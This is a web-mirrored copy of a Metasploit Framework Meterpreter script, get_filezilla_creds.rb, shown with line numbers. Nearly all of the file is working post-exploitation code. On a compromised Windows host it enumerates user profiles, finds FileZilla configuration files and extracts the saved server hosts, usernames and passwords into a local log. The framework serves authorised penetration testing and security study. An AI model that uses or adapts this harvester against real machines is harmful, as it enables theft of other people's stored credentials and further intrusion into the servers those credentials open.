CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/get_filezilla_creds.rb
Views: 11766
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
require "rexml/document"
9
10
#-------------------------------------------------------------------------------
11
#Options and Option Parsing
12
opts = Rex::Parser::Arguments.new(
13
"-h" => [ false, "Help menu." ],
14
"-c" => [ false, "Return credentials." ]
15
)
16
17
get_credentials=false
18
19
opts.parse(args) { |opt, idx, val|
20
case opt
21
when "-h"
22
print_line "Meterpreter Script for extracting servers and credentials from Filezilla."
23
print_line(opts.usage)
24
raise Rex::Script::Completed
25
when "-c"
26
get_credentials=true
27
end
28
}
29
### If we get here and have none of our flags true, then we'll just
30
### get credentials
31
if !(get_credentials)
32
get_credentials=true
33
end
34
35
#-------------------------------------------------------------------------------
36
#Set General Variables used in the script
37
@client = client
38
os = @client.sys.config.sysinfo['OS']
39
host = @client.sys.config.sysinfo['Computer']
40
# Create Filename info to be appended to downloaded files
41
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
42
# Create a directory for the logs
43
logs = ::File.join(Msf::Config.log_directory, 'filezilla', Rex::FileUtils.clean_path(host + filenameinfo) )
44
# Create the log directory
45
::FileUtils.mkdir_p(logs)
46
#logfile name
47
dest = Rex::FileUtils.clean_path(logs + "/" + host + filenameinfo + ".txt")
48
49
#-------------------------------------------------------------------------------
50
#function for checking of FileZilla profile is present
51
def check_filezilla(path)
52
found = nil
53
@client.fs.dir.foreach(path) do |x|
54
next if x =~ /^(\.|\.\.)$/
55
if x =~ (/FileZilla/)
56
### If we find the path, let's return it
57
found = path + x
58
return found
59
end
60
end
61
return found
62
end
63
64
#-------------------------------------------------------------------------------
65
66
def extract_saved_creds(path,xml_file)
67
accounts_xml = ""
68
creds = ""
69
print_status("Reading #{xml_file} file...")
70
### modified to use pidgin_path, which already has .purple in it
71
account_file = @client.fs.file.new(path + "\\#{xml_file}", "rb")
72
until account_file.eof?
73
accounts_xml << account_file.read
74
end
75
account_file.close
76
doc = (REXML::Document.new accounts_xml).root
77
doc.elements.to_a("//Server").each do |e|
78
print_status "\tHost: #{e.elements["Host"].text}"
79
creds << "Host: #{e.elements["Host"].text}"
80
print_status "\tPort: #{e.elements["Port"].text}"
81
creds << "Port: #{e.elements["Port"].text}"
82
logon_type = e.elements["Logontype"].text
83
if logon_type == "0"
84
print_status "\tLogon Type: Anonymous"
85
creds << "Logon Type: Anonymous"
86
elsif logon_type =~ /1|4/
87
print_status "\tUser: #{e.elements["User"].text}"
88
creds << "User: #{e.elements["User"].text}"
89
print_status "\tPassword: #{e.elements["Pass"].text}"
90
creds << "Password: #{e.elements["Pass"].text}"
91
elsif logon_type =~ /2|3/
92
print_status "\tUser: #{e.elements["User"].text}"
93
creds << "User: #{e.elements["User"].text}"
94
end
95
96
proto = e.elements["Protocol"].text
97
if proto == "0"
98
print_status "\tProtocol: FTP"
99
creds << "Protocol: FTP"
100
elsif proto == "1"
101
print_status "\tProtocol: SSH"
102
creds << "Protocol: SSH"
103
elsif proto == "3"
104
print_status "\tProtocol: FTPS"
105
creds << "Protocol: FTPS"
106
elsif proto == "4"
107
print_status "\tProtocol: FTPES"
108
creds << "Protocol: FTPES"
109
end
110
print_status ""
111
creds << ""
112
113
end
114
#
115
return creds
116
end
117
#-------------------------------------------------------------------------------
118
#Function to enumerate the users if running as SYSTEM
119
def enum_users(os)
120
users = []
121
122
path4users = ""
123
sysdrv = @client.sys.config.getenv('SystemDrive')
124
125
if os =~ /7|Vista|2008/
126
path4users = sysdrv + "\\users\\"
127
path2purple = "\\AppData\\Roaming\\"
128
else
129
path4users = sysdrv + "\\Documents and Settings\\"
130
path2purple = "\\Application Data\\"
131
end
132
133
if is_system?
134
print_status("Running as SYSTEM extracting user list..")
135
@client.fs.dir.foreach(path4users) do |u|
136
userinfo = {}
137
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
138
userinfo['username'] = u
139
userinfo['userappdata'] = path4users + u + path2purple
140
users << userinfo
141
end
142
else
143
userinfo = {}
144
uservar = @client.sys.config.getenv('USERNAME')
145
userinfo['username'] = uservar
146
userinfo['userappdata'] = path4users + uservar + path2purple
147
users << userinfo
148
end
149
return users
150
end
151
152
################## MAIN ##################
153
if client.platform == 'windows'
154
print_status("Running Meterpreter FileZilla Credential harvester script")
155
print_status("All services are logged at #{dest}")
156
enum_users(os).each do |u|
157
print_status("Checking if Filezilla profile is present for user :::#{u['username']}:::...")
158
### Find the path (if it exists) for this user,
159
filezilla_path = check_filezilla(u['userappdata'])
160
if filezilla_path
161
print_status("FileZilla profile found!")
162
### modified to use filezilla_path
163
xml_cfg_files = ['sitemanager.xml','recentservers.xml']
164
if get_credentials
165
xml_cfg_files.each do |xml_cfg_file|
166
file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file))
167
end
168
end
169
170
else
171
print_error("Filezilla profile not found!")
172
end
173
end
174
else
175
print_error("This version of Meterpreter is not supported with this Script!")
176
raise Rex::Script::Completed
177
end
178
179